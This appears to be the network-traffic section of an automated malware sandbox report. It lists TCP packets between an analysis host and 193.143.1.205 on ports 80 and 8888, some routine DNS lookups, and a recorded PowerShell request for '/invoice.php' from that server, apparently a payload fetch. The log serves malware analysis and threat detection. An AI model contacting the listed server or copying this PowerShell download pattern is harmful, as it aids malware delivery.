Jan 11, 2025 06:33:33.295447111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295459032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295475960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296108961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296119928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296130896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296140909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296154022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296156883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296169043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296175957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296180010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296190023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296200991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296211004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296212912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296241045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296530962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296547890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296585083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296606064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296617031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296627998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296653986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296686888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296696901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296708107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296717882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296725035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296755075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296782017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296792984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296803951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296813965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296818018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296823978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296833992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296837091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296845913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296863079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296888113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296925068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296935081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296946049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296957016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296967030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296966076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.296978951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.296986103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297010899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297590017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297600031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297610998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297625065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297631979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297668934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297688961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297698975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297708988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297719955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297729969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297733068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297740936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297760010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297776937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297898054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297909021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297919035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297929049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297936916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297939062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297949076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297960043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297964096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.297971010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.297981977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298007011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298033953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298043966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298053980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298065901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298073053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298077106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298090935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298109055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298109055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298120022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298131943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298134089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298144102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298155069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298156977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298166990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298185110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298203945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298541069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298609018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298619986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298630953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298640966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298641920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298652887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298656940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298682928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298752069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298763990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298779964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298790932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298801899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298804998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298813105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298823118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298824072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298835039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298847914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298867941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298928976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298938990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298949003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298959970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298969984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298980951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.298981905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.298990965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299000978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299005032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299011946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299021959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299025059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299032927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299046040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299053907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299063921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299063921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299076080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299081087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299086094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299097061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299112082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299135923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299150944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299163103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299173117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299182892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299192905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299197912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299204111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299213886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.299215078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.299236059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.300410032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301048994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301059961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301070929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301095009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301100016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301105976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301117897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301120996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301127911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301146030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301170111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301306009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301316977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301326990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301350117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301357985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301368952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301378965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301389933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301399946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301403999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301414013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.301426888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.301440001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305207014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305217981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305280924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305286884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305291891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305303097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305314064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305327892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305352926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305409908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305421114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305430889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305440903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305444002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305452108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305463076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305468082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305474043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305495977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305551052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305567980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305578947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305588961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305598974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305599928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305608988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305617094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305619955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305644989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305702925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305713892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305723906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305740118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305742025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305752993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305756092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305763006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305773973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305783987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305787086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305794001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305804968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305815935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305819988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305825949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305835962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305846930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305846930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305857897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305860996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305872917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305874109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305886030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.305891991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.305926085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306051016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306062937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306072950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306083918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306093931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306093931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306106091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306107998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306116104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306126118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306137085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306137085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306147099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306164980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306169033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306181908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306193113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306196928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306205034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306211948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306215048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306225061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306236029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306240082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306268930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306308031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306318998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306328058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306339025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306344032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306354046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306360006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306377888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306389093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306397915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306399107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306408882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306418896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306421995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306428909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306447029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306464911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306658983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306670904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306679964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306690931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306700945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306703091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306711912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306719065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306724072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306729078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306739092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306749105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306754112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306756973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306765079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306775093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306778908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306786060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306796074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306804895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.306809902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306826115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.306840897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.501008034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.724280119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:34.102206945 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:34.107078075 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:34.107172966 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:34.107342005 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:34.112082005 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:34.922990084 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:34.975090981 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:35.424312115 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:33:47.172766924 CET	55849	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:34:01.382276058 CET	58017	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:34:13.807044029 CET	59831	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:33:47.172766924 CET	192.168.2.5	1.1.1.1	0x7c03	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:34:01.382276058 CET	192.168.2.5	1.1.1.1	0x295a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:34:13.807044029 CET	192.168.2.5	1.1.1.1	0x497d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 06:33:47.180500031 CET	1.1.1.1	192.168.2.5	0x7c03	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:34:01.390322924 CET	1.1.1.1	192.168.2.5	0x295a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:34:13.813926935 CET	1.1.1.1	192.168.2.5	0x497d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	320	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:33:31.019356012 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
